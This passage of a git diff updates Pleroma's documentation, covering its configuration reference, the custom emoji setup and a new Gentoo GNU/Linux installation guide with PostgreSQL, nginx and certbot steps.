	* `Pleroma.Web.ActivityPub.MRF.SimplePolicy`: Restrict the visibility of activities from certains instances (See ``:mrf_simple`` section)
	* `Pleroma.Web.ActivityPub.MRF.RejectNonPublic`: Drops posts with non-public visibility settings (See ``:mrf_rejectnonpublic`` section)
	* `Pleroma.Web.ActivityPub.MRF.EnsureRePrepended`: Rewrites posts to ensure that replies to posts with subjects do not have an identical subject and instead begin with re:.
	* `public`: Makes the client API in authentificated mode-only except for user-profiles. Useful for disabling the Local Timeline and The Whole Known Network.
	* `quarantined_instances`: List of ActivityPub instances where private(DMs, followers-only) activities will not be send.
	* `managed_config`: Whenether the config for pleroma-fe is configured in this config or in ``static/config.json``
	* `allowed_post_formats`: MIME-type list of formats allowed to be posted (transformed into HTML)
	-* `finmoji_enabled`: Whenether to enable the finmojis in the custom emojis.
	* `mrf_transparency`: Make the content of your Message Rewrite Facility settings public (via nodeinfo).
	* `scope_copy`: Copy the scope (private/unlisted/public) in replies to posts by default.
	* `subject_line_behavior`: Allows changing the default behaviour of subject lines in replies. Valid values:
	* "email": Copy and preprend re:, as in email.
	* "masto": Copy verbatim, as in Mastodon.
	* "noop": Don't copy the subject.
	* `always_show_subject_input`: When set to false, auto-hide the subject field when it's empty.
	* `extended_nickname_format`: Set to `true` to use extended local nicknames format (allows underscores/dashes). This will break federation with
	older software for theses nicknames.
	* `max_pinned_statuses`: The maximum number of pinned statuses. `0` will disable the feature.
	* `autofollowed_nicknames`: Set to nicknames of (local) users that every new user should automatically follow.
	* `no_attachment_links`: Set to true to disable automatically adding attachment link text to statuses
	* `welcome_message`: A message that will be send to a newly registered users as a direct message.
	* `welcome_user_nickname`: The nickname of the local user that sends the welcome message.
	* `max_report_comment_size`: The maximum size of the report comment (Default: `1000`)
	* `safe_dm_mentions`: If set to true, only mentions at the beginning of a post will be used to address people in direct messages. This is to prevent accidental mentioning of people when talking about them (e.g. "@friend hey i really don't like @enemy"). (Default: `false`)

	## :logger
	* `backends`: `:console` is used to send logs to stdout, `{ExSyslogger, :ex_syslogger}` to log to syslog, and `Quack.Logger` to log to Slack

	An example to enable ONLY ExSyslogger (f/ex in ``prod.secret.exs``) with info and debug suppressed:
	```
	config :logger,
	backends: [{ExSyslogger, :ex_syslogger}]

	config :logger, :ex_syslogger,
	level: :warn
	```

	Another example, keeping console output and adding the pid to syslog output:
	```
	config :logger,
	backends: [:console, {ExSyslogger, :ex_syslogger}]

	config :logger, :ex_syslogger,
	level: :warn,
	option: [:pid, :ndelay]
	```

	See: [logger’s documentation](https://hexdocs.pm/logger/Logger.html) and [ex_syslogger’s documentation](https://hexdocs.pm/ex_syslogger/)

	An example of logging info to local syslog, but warn to a Slack channel:
	```
	config :logger,
	backends: [ {ExSyslogger, :ex_syslogger}, Quack.Logger ],
	level: :info

	config :logger, :ex_syslogger,
	level: :info,
	ident: "pleroma",
	format: "$metadata[$level] $message"

	config :quack,
	level: :warn,
	meta: [:all],
	webhook_url: "https://hooks.slack.com/services/YOUR-API-KEY-HERE"
	```

	See the [Quack Github](https://github.com/azohra/quack) for more details

	## :frontend_configurations

	This can be used to configure a keyword list that keeps the configuration data for any kind of frontend. By default, settings for `pleroma_fe` and `masto_fe` are configured.

	Frontends can access these settings at `/api/pleroma/frontend_configurations`

	To add your own configuration for PleromaFE, use it like this:

	`config :pleroma, :frontend_configurations, pleroma_fe: %{redirectRootNoLogin: "/main/all", ...}`

	These settings need to be complete, they will override the defaults. See `priv/static/static/config.json` for the available keys.

	## :fe
	__THIS IS DEPRECATED__

	If you are using this method, please change it to the `frontend_configurations` method. Please set this option to false in your config like this: `config :pleroma, :fe, false`.

	This section is used to configure Pleroma-FE, unless ``:managed_config`` in ``:instance`` is set to false.

	* `theme`: Which theme to use, they are defined in ``styles.json``
	* `logo`: URL of the logo, defaults to Pleroma’s logo
	* `logo_mask`: Whether to use only the logo's shape as a mask (true) or as a regular image (false)
	* `logo_margin`: What margin to use around the logo
	* `background`: URL of the background, unless viewing a user profile with a background that is set
	* `redirect_root_no_login`: relative URL which indicates where to redirect when a user isn’t logged in.
	* `redirect_root_login`: relative URL which indicates where to redirect when a user is logged in.
	* `show_instance_panel`: Whenether to show the instance’s specific panel.
	* `scope_options_enabled`: Enable setting an notice visibility and subject/CW when posting
	* `formatting_options_enabled`: Enable setting a formatting different than plain-text (ie. HTML, Markdown) when posting, relates to ``:instance, allowed_post_formats``
	* `collapse_message_with_subjects`: When a message has a subject(aka Content Warning), collapse it by default
	* `hide_post_stats`: Hide notices statistics(repeats, favorites, …)
	* `hide_user_stats`: Hide profile statistics(posts, posts per day, followers, followings, …)

	## :mrf_simple
	* `media_removal`: List of instances to remove medias from
	* `media_nsfw`: List of instances to put medias as NSFW(sensitive) from
	* `federated_timeline_removal`: List of instances to remove from Federated (aka The Whole Known Network) Timeline
	* `reject`: List of instances to reject any activities from
	* `accept`: List of instances to accept any activities from

	## :mrf_rejectnonpublic
	* `allow_followersonly`: whether to allow followers-only posts
	* `allow_direct`: whether to allow direct messages

	## :mrf_hellthread
	* `delist_threshold`: Number of mentioned users after which the message gets delisted (the message can still be seen, but it will not show up in public timelines and mentioned users won't get notifications about it). Set to 0 to disable.
	* `reject_threshold`: Number of mentioned users after which the messaged gets rejected. Set to 0 to disable.

	## :mrf_keyword
	* `reject`: A list of patterns which result in message being rejected, each pattern can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)
	* `federated_timeline_removal`: A list of patterns which result in message being removed from federated timelines (a.k.a unlisted), each pattern can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)
	* `replace`: A list of tuples containing `{pattern, replacement}`, `pattern` can be a string or a [regular expression](https://hexdocs.pm/elixir/Regex.html)

	## :media_proxy
	* `enabled`: Enables proxying of remote media to the instance’s proxy
	* `base_url`: The base URL to access a user-uploaded file. Useful when you want to proxy the media files via another host/CDN fronts.
	* `proxy_opts`: All options defined in `Pleroma.ReverseProxy` documentation, defaults to `[max_body_length: (25*1_048_576)]`.

	## :gopher
	* `enabled`: Enables the gopher interface
	* `ip`: IP address to bind to
	* `port`: Port to bind to
	* `dstport`: Port advertised in urls (optional, defaults to `port`)

	## Pleroma.Web.Endpoint
	`Phoenix` endpoint configuration, all configuration options can be viewed [here](https://hexdocs.pm/phoenix/Phoenix.Endpoint.html#module-dynamic-configuration), only common options are listed here
	* `http` - a list containing http protocol configuration, all configuration options can be viewed [here](https://hexdocs.pm/plug_cowboy/Plug.Cowboy.html#module-options), only common options are listed here
	- `ip` - a tuple consisting of 4 integers
	- `port`
	* `url` - a list containing the configuration for generating urls, accepts
	- `host` - the host without the scheme and a post (e.g `example.com`, not `https://example.com:2020`)
	- `scheme` - e.g `http`, `https`
	- `port`
	- `path`
	* `extra_cookie_attrs` - a list of `Key=Value` strings to be added as non-standard cookie attributes. Defaults to `["SameSite=Lax"]`. See the [SameSite article](https://www.owasp.org/index.php/SameSite) on OWASP for more info.



	Important note: if you modify anything inside these lists, default `config.exs` values will be overwritten, which may result in breakage, to make sure this does not happen please copy the default value for the list from `config.exs` and modify/add only what you need

	Example:
	```elixir
	config :pleroma, Pleroma.Web.Endpoint,
	url: [host: "example.com", port: 2020, scheme: "https"],
	http: [
	# start copied from config.exs
	dispatch: [
	{:_,
	[
	{"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
	{"/websocket", Phoenix.Endpoint.CowboyWebSocket,
	{Phoenix.Transports.WebSocket,
	{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, websocket_config}}},
	{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
	]}
	# end copied from config.exs
	],
	port: 8080,
	ip: {127, 0, 0, 1}
	]
	```

	This will make Pleroma listen on `127.0.0.1` port `8080` and generate urls starting with `https://example.com:2020`

	## :activitypub
	* ``accept_blocks``: Whether to accept incoming block activities from other instances
	* ``unfollow_blocked``: Whether blocks result in people getting unfollowed
	* ``outgoing_blocks``: Whether to federate blocks to other instances
	* ``deny_follow_blocked``: Whether to disallow following an account that has blocked the user in question

	## :http_security
	* ``enabled``: Whether the managed content security policy is enabled
	* ``sts``: Whether to additionally send a `Strict-Transport-Security` header
	* ``sts_max_age``: The maximum age for the `Strict-Transport-Security` header if sent
	* ``ct_max_age``: The maximum age for the `Expect-CT` header if sent
	* ``referrer_policy``: The referrer policy to use, either `"same-origin"` or `"no-referrer"`.

	## :mrf_user_allowlist

	The keys in this section are the domain names that the policy should apply to.
	Each key should be assigned a list of users that should be allowed through by
	their ActivityPub ID.

	An example:

	```exs
	config :pleroma, :mrf_user_allowlist,
	"example.org": ["https://example.org/users/admin"]
	```

	## :web_push_encryption, :vapid_details

	Web Push Notifications configuration. You can use the mix task `mix web_push.gen.keypair` to generate it.

	* ``subject``: a mailto link for the administrative contact. It’s best if this email is not a personal email address, but rather a group email so that if a person leaves an organization, is unavailable for an extended period, or otherwise can’t respond, someone else on the list can.
	* ``public_key``: VAPID public key
	* ``private_key``: VAPID private key

	## Pleroma.Captcha
	* `enabled`: Whether the captcha should be shown on registration
	* `method`: The method/service to use for captcha
	* `seconds_valid`: The time in seconds for which the captcha is valid

	### Pleroma.Captcha.Kocaptcha
	Kocaptcha is a very simple captcha service with a single API endpoint,
	the source code is here: https://github.com/koto-bank/kocaptcha. The default endpoint
	`https://captcha.kotobank.ch` is hosted by the developer.

	* `endpoint`: the kocaptcha endpoint to use

	## :admin_token

	Allows to set a token that can be used to authenticate with the admin api without using an actual user by giving it as the 'admin_token' parameter. Example:

	```exs
	config :pleroma, :admin_token, "somerandomtoken"
	```

	You can then do

	```sh
	curl "http://localhost:4000/api/pleroma/admin/invite_token?admin_token=somerandomtoken"
	```

	## :pleroma_job_queue

	[Pleroma Job Queue](https://git.pleroma.social/pleroma/pleroma_job_queue) configuration: a list of queues with maximum concurrent jobs.

	Pleroma has the following queues:

	* `federator_outgoing` - Outgoing federation
	* `federator_incoming` - Incoming federation
	* `mailer` - Email sender, see [`Pleroma.Emails.Mailer`](#pleroma-emails-mailer)
	* `transmogrifier` - Transmogrifier
	* `web_push` - Web push notifications
	* `scheduled_activities` - Scheduled activities, see [`Pleroma.ScheduledActivities`](#pleromascheduledactivity)

	Example:

	```elixir
	config :pleroma_job_queue, :queues,
	federator_incoming: 50,
	federator_outgoing: 50
	```

	This config contains two queues: `federator_incoming` and `federator_outgoing`. Both have the `max_jobs` set to `50`.

	## Pleroma.Web.Federator.RetryQueue

	* `enabled`: If set to `true`, failed federation jobs will be retried
	* `max_jobs`: The maximum amount of parallel federation jobs running at the same time.
	* `initial_timeout`: The initial timeout in seconds
	* `max_retries`: The maximum number of times a federation job is retried

	## Pleroma.Web.Metadata
	-* `providers`: a list of metadata providers to enable. Providers availible:
	+* `providers`: a list of metadata providers to enable. Providers available:
	* Pleroma.Web.Metadata.Providers.OpenGraph
	* Pleroma.Web.Metadata.Providers.TwitterCard
	+ * Pleroma.Web.Metadata.Providers.RelMe - add links from user bio with rel=me into the `<header>` as `<link rel=me>`
	* `unfurl_nsfw`: If set to `true` nsfw attachments will be shown in previews

	## :rich_media
	* `enabled`: if enabled the instance will parse metadata from attached links to generate link previews

	## :fetch_initial_posts
	* `enabled`: if enabled, when a new user is federated with, fetch some of their latest posts
	* `pages`: the amount of pages to fetch

	## :hackney_pools

	Advanced. Tweaks Hackney (http client) connections pools.

	There's three pools used:

	* `:federation` for the federation jobs.
	You may want this pool max_connections to be at least equal to the number of federator jobs + retry queue jobs.
	* `:media` for rich media, media proxy
	* `:upload` for uploaded media (if using a remote uploader and `proxy_remote: true`)

	For each pool, the options are:

	* `max_connections` - how much connections a pool can hold
	* `timeout` - retention duration for connections

	## :auto_linker

	Configuration for the `auto_linker` library:

	* `class: "auto-linker"` - specify the class to be added to the generated link. false to clear
	* `rel: "noopener noreferrer"` - override the rel attribute. false to clear
	* `new_window: true` - set to false to remove `target='_blank'` attribute
	* `scheme: false` - Set to true to link urls with schema `http://google.com`
	* `truncate: false` - Set to a number to truncate urls longer then the number. Truncated urls will end in `..`
	* `strip_prefix: true` - Strip the scheme prefix
	* `extra: false` - link urls with rarely used schemes (magnet, ipfs, irc, etc.)

	Example:

	```exs
	config :auto_linker,
	opts: [
	scheme: true,
	extra: true,
	class: false,
	strip_prefix: false,
	new_window: false,
	rel: false
	]
	```

	## Pleroma.ScheduledActivity

	* `daily_user_limit`: the number of scheduled activities a user is allowed to create in a single day (Default: `25`)
	* `total_user_limit`: the number of scheduled activities a user is allowed to create in total (Default: `300`)
	* `enabled`: whether scheduled activities are sent to the job queue to be executed

	## Pleroma.Web.Auth.Authenticator

	* `Pleroma.Web.Auth.PleromaAuthenticator`: default database authenticator
	* `Pleroma.Web.Auth.LDAPAuthenticator`: LDAP authentication

	## :ldap

	Use LDAP for user authentication. When a user logs in to the Pleroma
	instance, the name and password will be verified by trying to authenticate
	(bind) to an LDAP server. If a user exists in the LDAP directory but there
	is no account with the same name yet on the Pleroma instance then a new
	Pleroma account will be created with the same name as the LDAP user name.

	* `enabled`: enables LDAP authentication
	* `host`: LDAP server hostname
	* `port`: LDAP port, e.g. 389 or 636
	* `ssl`: true to use SSL, usually implies the port 636
	* `sslopts`: additional SSL options
	* `tls`: true to start TLS, usually implies the port 389
	* `tlsopts`: additional TLS options
	* `base`: LDAP base, e.g. "dc=example,dc=com"
	* `uid`: LDAP attribute name to authenticate the user, e.g. when "cn", the filter will be "cn=username,base"

	## :auth

	Authentication / authorization settings.

	* `auth_template`: authentication form template. By default it's `show.html` which corresponds to `lib/pleroma/web/templates/o_auth/o_auth/show.html.eex`.
	* `oauth_consumer_template`: OAuth consumer mode authentication form template. By default it's `consumer.html` which corresponds to `lib/pleroma/web/templates/o_auth/o_auth/consumer.html.eex`.
	* `oauth_consumer_strategies`: the list of enabled OAuth consumer strategies; by default it's set by OAUTH_CONSUMER_STRATEGIES environment variable.

	# OAuth consumer mode

	OAuth consumer mode allows sign in / sign up via external OAuth providers (e.g. Twitter, Facebook, Google, Microsoft, etc.).
	Implementation is based on Ueberauth; see the list of [available strategies](https://github.com/ueberauth/ueberauth/wiki/List-of-Strategies).

	Note: each strategy is shipped as a separate dependency; in order to get the strategies, run `OAUTH_CONSUMER_STRATEGIES="..." mix deps.get`,
	e.g. `OAUTH_CONSUMER_STRATEGIES="twitter facebook google microsoft" mix deps.get`.
	The server should also be started with `OAUTH_CONSUMER_STRATEGIES="..." mix phx.server` in case you enable any strategies.

	Note: each strategy requires separate setup (on external provider side and Pleroma side). Below are the guidelines on setting up most popular strategies.

	Note: make sure that `"SameSite=Lax"` is set in `extra_cookie_attrs` when you have this feature enabled. OAuth consumer mode will not work with `"SameSite=Strict"`

	* For Twitter, [register an app](https://developer.twitter.com/en/apps), configure callback URL to https://<your_host>/oauth/twitter/callback

	* For Facebook, [register an app](https://developers.facebook.com/apps), configure callback URL to https://<your_host>/oauth/facebook/callback, enable Facebook Login service at https://developers.facebook.com/apps/<app_id>/fb-login/settings/

	* For Google, [register an app](https://console.developers.google.com), configure callback URL to https://<your_host>/oauth/google/callback

	* For Microsoft, [register an app](https://portal.azure.com), configure callback URL to https://<your_host>/oauth/microsoft/callback

	Once the app is configured on external OAuth provider side, add app's credentials and strategy-specific settings (if any — e.g. see Microsoft below) to `config/prod.secret.exs`,
	per strategy's documentation (e.g. [ueberauth_twitter](https://github.com/ueberauth/ueberauth_twitter)). Example config basing on environment variables:

	```
	# Twitter
	config :ueberauth, Ueberauth.Strategy.Twitter.OAuth,
	consumer_key: System.get_env("TWITTER_CONSUMER_KEY"),
	consumer_secret: System.get_env("TWITTER_CONSUMER_SECRET")

	# Facebook
	config :ueberauth, Ueberauth.Strategy.Facebook.OAuth,
	client_id: System.get_env("FACEBOOK_APP_ID"),
	client_secret: System.get_env("FACEBOOK_APP_SECRET"),
	redirect_uri: System.get_env("FACEBOOK_REDIRECT_URI")

	# Google
	config :ueberauth, Ueberauth.Strategy.Google.OAuth,
	client_id: System.get_env("GOOGLE_CLIENT_ID"),
	client_secret: System.get_env("GOOGLE_CLIENT_SECRET"),
	redirect_uri: System.get_env("GOOGLE_REDIRECT_URI")

	# Microsoft
	config :ueberauth, Ueberauth.Strategy.Microsoft.OAuth,
	client_id: System.get_env("MICROSOFT_CLIENT_ID"),
	client_secret: System.get_env("MICROSOFT_CLIENT_SECRET")

	config :ueberauth, Ueberauth,
	providers: [
	microsoft: {Ueberauth.Strategy.Microsoft, [callback_params: []]}
	]
	```
	diff --git a/docs/config/custom_emoji.md b/docs/config/custom_emoji.md
	index 5ce9865a2..ac28635d0 100644
	--- a/docs/config/custom_emoji.md
	+++ b/docs/config/custom_emoji.md
	@@ -1,53 +1,63 @@
	# Custom Emoji

	+Before you add your own custom emoji, check if they are available in an existing pack.
	+See `Mix.Tasks.Pleroma.Emoji` for information about emoji packs.
	+
	To add custom emoji:
	-* Add the image file(s) to `priv/static/emoji/custom`
	-* In case of conflicts: add the desired shortcode with the path to `config/custom_emoji.txt`, comma-separated and one per line
	-* Force recompilation (``mix clean && mix compile``)
	+* Create the `STATIC-DIR/emoji/` directory if it doesn't exist
	+ (`STATIC-DIR` is configurable, `instance/static/` by default)
	+* Create a directory with whatever name you want (custom is a good name to show the purpose of it).
	+ This will create a local emoji pack.
	+* Put your `.png` emoji files in that directory. In case of conflicts, you can create an `emoji.txt`
	+ file in that directory and specify a custom shortcode using the following format:
	+ `shortcode, file-path, tag1, tag2, etc`. One emoji per line. Note that if you do so,
	+ you'll have to list all other emojis in the pack too.
	+* Either restart pleroma or connect to the iex session pleroma's running and
	+ run `Pleroma.Emoji.reload/0` in it.

	Example:

	-image files (in `/priv/static/emoji/custom`): `happy.png` and `sad.png`
	+image files (in `instance/static/emoji/custom`): `happy.png` and `sad.png`

	-content of `config/custom_emoji.txt`:
	+content of `emoji.txt`:
	```
	happy, /emoji/custom/happy.png, Tag1,Tag2
	sad, /emoji/custom/sad.png, Tag1
	foo, /emoji/custom/foo.png
	```

	The files should be PNG (APNG is okay with `.png` for `image/png` Content-type) and under 50kb for compatibility with mastodon.

	## Emoji tags (groups)

	Default tags are set in `config.exs`. To set your own tags, copy the structure to your secrets file (`prod.secret.exs` or `dev.secret.exs`) and edit it.
	```elixir
	config :pleroma, :emoji,
	shortcode_globs: ["/emoji/custom/*/.png"],
	groups: [
	Finmoji: "/finmoji/128px/*-128.png",
	Custom: ["/emoji/.png", "/emoji/custom/.png"]
	]
	```

	Order of the `groups` matters, so to override default tags just put your group on top of the list. E.g:
	```elixir
	config :pleroma, :emoji,
	shortcode_globs: ["/emoji/custom/*/.png"],
	groups: [
	"Finmoji special": "/finmoji/128px/a_trusted_friend-128.png", # special file
	"Cirno": "/emoji/custom/cirno*.png", # png files in /emoji/custom/ which start with `cirno`
	"Special group": "/emoji/custom/special_folder/*.png", # png files in /emoji/custom/special_folder/
	"Another group": "/emoji/custom/special_folder/*/.png", # png files in /emoji/custom/special_folder/ subfolders
	Finmoji: "/finmoji/128px/*-128.png",
	Custom: ["/emoji/.png", "/emoji/custom/.png"]
	]
	```

	Priority of tags assigns in emoji.txt and custom.txt:

	`tag in file > special group setting in config.exs > default setting in config.exs`

	Priority for globs:

	`special group setting in config.exs > default setting in config.exs`
	diff --git a/docs/installation/gentoo_en.md b/docs/installation/gentoo_en.md
	new file mode 100644
	index 000000000..fccaad378
	--- /dev/null
	+++ b/docs/installation/gentoo_en.md
	@@ -0,0 +1,296 @@
	+# Installing on Gentoo GNU/Linux
	+## Installation
	+
	+This guide will assume that you have administrative rights, either as root or a user with [sudo permissions](https://wiki.gentoo.org/wiki/Sudo). Lines that begin with `#` indicate that they should be run as the superuser. Lines using `$` should be run as the indicated user, e.g. `pleroma$` should be run as the `pleroma` user.
	+
	+### Configuring your hostname (optional)
	+
	+If you would like your prompt to permanently include your host/domain, change `/etc/conf.d/hostname` to your hostname. You can reboot or use the `hostname` command to make immediate changes.
	+
	+### Your make.conf, package.use, and USE flags
	+
	+The only specific USE flag you should need is the `uuid` flag for `dev-db/postgresql`. Add the following line to any new file in `/etc/portage/package.use`. If you would like a suggested name for the file, either `postgresql` or `pleroma` would do fine, depending on how you like to arrange your package.use flags.
	+
	+```text
	+dev-db/postgresql uuid
	+```
	+
	+You could opt to add `USE="uuid"` to `/etc/portage/make.conf` if you'd rather set this as a global USE flags, but this flags does unrelated things in other packages, so keep that in mind if you elect to do so.
	+
	+Double check your compiler flags in `/etc/portage/make.conf`. If you require any special compilation flags or would like to set up remote builds, now is the time to do so. Be sure that your CFLAGS and MAKEOPTS make sense for the platform you are using. It is not recommended to use above `-O2` or risky optimization flags for a production server.
	+
	+### Installing a cron daemon
	+
	+Gentoo quite pointedly does not come with a cron daemon installed, and as such it is recommended you install one to automate certbot renewals and to allow other system administration tasks to be run automatically. Gentoo has [a whole wide world of cron options](https://wiki.gentoo.org/wiki/Cron) but if you just want A Cron That Works, `emerge --ask virtual/cron` will install the default cron implementation (probably cronie) which will work just fine. For the purpouses of this guide, we will be doing just that.
	+
	+### Required ebuilds
	+
	+* `dev-db/postgresql`
	+* `dev-lang/elixir`
	+* `dev-vcs/git`
	+
	+#### Optional ebuilds used in this guide
	+
	+* `www-servers/nginx` (preferred, example configs for other reverse proxies can be found in the repo)
	+* `app-crypt/certbot` (or any other ACME client for Let’s Encrypt certificates)
	+* `app-crypt/certbot-nginx` (nginx certbot plugin that allows use of the all-powerful `--nginx` flag on certbot)
	+
	+### Prepare the system
	+
	+* First ensure that you have the latest copy of the portage ebuilds if you have not synced them yet:
	+
	+```shell
	+ # emaint sync -a
	+```
	+
	+* Emerge all required the required and suggested software in one go:
	+
	+```shell
	+ # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx
	+```
	+
	+If you would not like to install the optional packages, remove them from this line.
	+
	+If you're running this from a low-powered virtual machine, it should work though it will take some time. There were no issues on a VPS with a single core and 1GB of RAM; if you are using an even more limited device and run into issues, you can try creating a swapfile or use a more powerful machine running Gentoo to [cross build](https://wiki.gentoo.org/wiki/Cross_build_environment). If you have a wait ahead of you, now would be a good time to take a break, strech a bit, refresh your beverage of choice and/or get a snack, and reply to Arch users' posts with "I use Gentoo btw" as we do.
	+
	+### Install PostgreSQL
	+
	+[Gentoo Wiki article](https://wiki.gentoo.org/wiki/PostgreSQL) as well as [PostgreSQL QuickStart](https://wiki.gentoo.org/wiki/PostgreSQL/QuickStart) might be worth a quick glance, as the way Gentoo handles postgres is slightly unusual, with built in capability to have two different databases running for testing and live or whatever other purpouse. While it is still straightforward to install, it does mean that the version numbers used in this guide might change for future updates, so keep an eye out for the output you get from `emerge` to ensure you are using the correct ones.
	+
	+* Install postgresql if you have not done so already:
	+
	+```shell
	+ # emerge --ask dev-db/postgresql
	+```
	+
	+Ensure that `/etc/conf.d/postgresql-11` has the encoding you want (it defaults to UTF8 which is probably what you want) and make any adjustments to the data directory if you find it necessary. Be sure to adjust the number at the end depending on what version of postgres you actually installed.
	+
	+* Initialize the database cluster
	+
	+The output from emerging postgresql should give you a command for initializing the postgres database. The default slot should be indicated in this command, ensure that it matches the command below.
	+
	+```shell
	+ # emerge --config dev-db/postgresql:11
	+```
	+
	+* Start postgres and enable the system service
	+
	+```shell
	+ # /etc/init.d/postgresql-11 start
	+ # rc-update add postgresql-11 default
	+ ```
	+
	+### A note on licenses, the AGPL, and deployment procedures
	+
	+If you do not plan to make any modifications to your Pleroma instance, cloning directly from the main repo will get you what you need. However, if you plan on doing any contributions to upstream development, making changes or modifications to your instance, making custom themes, or want to play around--and let's be honest here, if you're using Gentoo that is most likely you--you will save yourself a lot of headache later if you take the time right now to fork the Pleroma repo and use that in the following section.
	+
	+Not only does this make it much easier to deploy changes you make, as you can commit and pull from upstream and all that good stuff from the comfort of your local machine then simply `git pull` on your instance server when you're ready to deploy, it also ensures you are compliant with the Affero General Public Licence that Pleroma is licenced under, which stipulates that all network services provided with modified AGPL code must publish their changes on a publicly available internet service and for free. It also makes it much easier to ask for help from and provide help to your fellow Pleroma admins if your public repo always reflects what you are running because it is part of your deployment procedure.
	+
	+### Install PleromaBE
	+
	+* Add a new system user for the Pleroma service and set up default directories:
	+
	+Remove `,wheel` if you do not want this user to be able to use `sudo`, however note that being able to `sudo` as the `pleroma` user will make finishing the insallation and common maintenence tasks somewhat easier:
	+
	+```shell
	+ # useradd -m -G users,wheel -s /bin/bash pleroma
	+```
	+
	+Optional: If you are using sudo, review your sudo setup to ensure it works for you. The `/etc/sudoers` file has a lot of options and examples to help you, and [the Gentoo sudo guide](https://wiki.gentoo.org/wiki/Sudo) has more information. Finishing this installation will be somewhat easier if you have a way to sudo from the `pleroma` user, but it might be best to not allow that user to sudo during normal operation, and as such there will be a reminder at the end of this guide to double check if you would like to lock down the `pleroma` user after initial setup.
	+
	+Note: To execute a single command as the Pleroma system user, use `sudo -Hu pleroma command`. You can also switch to a shell by using `sudo -Hu pleroma $SHELL`. If you don't have or want `sudo` or would like to use the system as the `pleroma` user for instance maintenance tasks, you can simply use `su - pleroma` to switch to the `pleroma` user.
	+
	+* Git clone the PleromaBE repository and make the Pleroma user the owner of the directory:
	+
	+It is highly recommended you use your own fork for the `https://path/to/repo` part below, however if you foolishly decide to forego using your own fork, the primary repo `https://git.pleroma.social/pleroma/pleroma` will work here.
	+
	+```shell
	+ pleroma$ cd ~
	+ pleroma$ git clone https://path/to/repo
	+```
	+
	+* Change to the new directory:
	+
	+```shell
	+pleroma$ cd ~/pleroma
	+```
	+
	+* Install the dependencies for Pleroma and answer with `yes` if it asks you to install `Hex`:
	+
	+```shell
	+pleroma$ mix deps.get
	+```
	+
	+* Generate the configuration:
	+
	+```shell
	+pleroma$ mix pleroma.instance gen
	+```
	+
	+ * Answer with `yes` if it asks you to install `rebar3`.
	+
	+ * This part precompiles some parts of Pleroma, so it might take a few moments
	+
	+ * After that it will ask you a few questions about your instance and generates a configuration file in `config/generated_config.exs`.
	+
	+ * Spend some time with `generated_config.exs` to ensure that everything is in order. If you plan on using an S3-compatible service to store your local media, that can be done here. You will likely mostly be using `prod.secret.exs` for a production instance, however if you would like to set up a development environment, make a copy to `dev.secret.exs` and adjust settings as needed as well.
	+
	+```shell
	+pleroma$ mv config/generated_config.exs config/prod.secret.exs
	+```
	+
	+* The previous command creates also the file `config/setup_db.psql`, with which you can create the database. Ensure that it is using the correct database name on the `CREATE DATABASE` and the `\c` lines, then run the postgres script:
	+
	+```shell
	+pleroma$ sudo -Hu postgres psql -f config/setup_db.psql
	+```
	+
	+* Now run the database migration:
	+
	+```shell
	+pleroma$ MIX_ENV=prod mix ecto.migrate
	+```
	+
	+* Now you can start Pleroma already
	+
	+```shell
	+pleroma$ MIX_ENV=prod mix phx.server
	+```
	+
	+It probably won't work over the public internet quite yet, however, as we still need to set up a web servere to proxy to the pleroma application, as well as configure SSL.
	+
	+### Finalize installation
	+
	+Assuming you want to open your newly installed federated social network to, well, the federation, you should run nginx or some other webserver/proxy in front of Pleroma. It is also a good idea to set up Pleroma to run as a system service.
	+
	+#### Nginx
	+
	+* Install nginx, if not already done:
	+
	+```shell
	+ # emerge --ask www-servers/nginx
	+```
	+
	+* Create directories for available and enabled sites:
	+
	+```shell
	+ # mkdir -p /etc/nginx/sites-{available,enabled}
	+```
	+
	+* Append the following line at the end of the `http` block in `/etc/nginx/nginx.conf`:
	+
	+```Nginx
	+include sites-enabled/*;
	+```
	+
	+* Setup your SSL cert, using your method of choice or certbot. If using certbot, install it if you haven't already:
	+
	+```shell
	+ # emerge --ask app-crypt/certbot app-crypt/certbot-nginx
	+```
	+
	+and then set it up:
	+
	+```shell
	+ # mkdir -p /var/lib/letsencrypt/
	+ # certbot certonly --email <your@emailaddress> -d <yourdomain> --standalone
	+```
	+
	+If that doesn't work the first time, add `--dry-run` to further attempts to avoid being ratelimited as you identify the issue, and do not remove it until the dry run succeeds. If that doesn’t work, make sure, that nginx is not already running. If it still doesn’t work, try setting up nginx first (change ssl “on” to “off” and try again). Often the answer to issues with certbot is to use the `--nginx` flag once you have nginx up and running.
	+
	+If you are using any additional subdomains, such as for a media proxy, you can re-run the same command with the subdomain in question. When it comes time to renew later, you will not need to run multiple times for each domain, one renew will handle it.
	+
	+---
	+
	+* Copy the example nginx configuration and activate it:
	+
	+```shell
	+ # cp /home/pleroma/pleroma/installation/pleroma.nginx /etc/nginx/sites-available/
	+ # ln -s /etc/nginx/sites-available/pleroma.nginx /etc/nginx/sites-enabled/pleroma.nginx
	+```
	+
	+* Take some time to ensure that your nginx config is correct
	+
	+Replace all instances of `example.tld` with your instance's public URL. If for whatever reason you made changes to the port that your pleroma app runs on, be sure that is reflected in your configuration.
	+
	+Pay special attention to the line that begins with `ssl_ecdh_curve`. It is stongly advised to comment that line out so that OpenSSL will use its full capabilities, and it is also possible you are running OpenSSL 1.0.2 necessitating that you do this.
	+
	+* Enable and start nginx:
	+
	+```shell
	+ # rc-update add nginx default
	+ # /etc/init.d/nginx start
	+```
	+
	+If you are using certbot, it is HIGHLY recommend you set up a cron job that renews your certificate, and that you install the suggested `certbot-nginx` plugin. If you don't do these things, you only have yourself to blame when your instance breaks suddenly because you forgot about it.
	+
	+First, ensure that the command you will be installing into your crontab works.
	+
	+```shell
	+ # /usr/bin/certbot renew --nginx
	+```
	+
	+Assuming not much time has passed since you got certbot working a few steps ago, you should get a message for all domains you installed certificates for saying `Cert not yet due for renewal`.
	+
	+Now, run crontab as a superuser with `crontab -e` or `sudo crontab -e` as appropriate, and add the following line to your cron:
	+
	+```cron
	+0 0 1 * * /usr/bin/certbot renew --nginx
	+```
	+
	+This will run certbot on the first of the month at midnight. If you'd rather run more frequently, it's not a bad idea, feel free to go for it.
	+
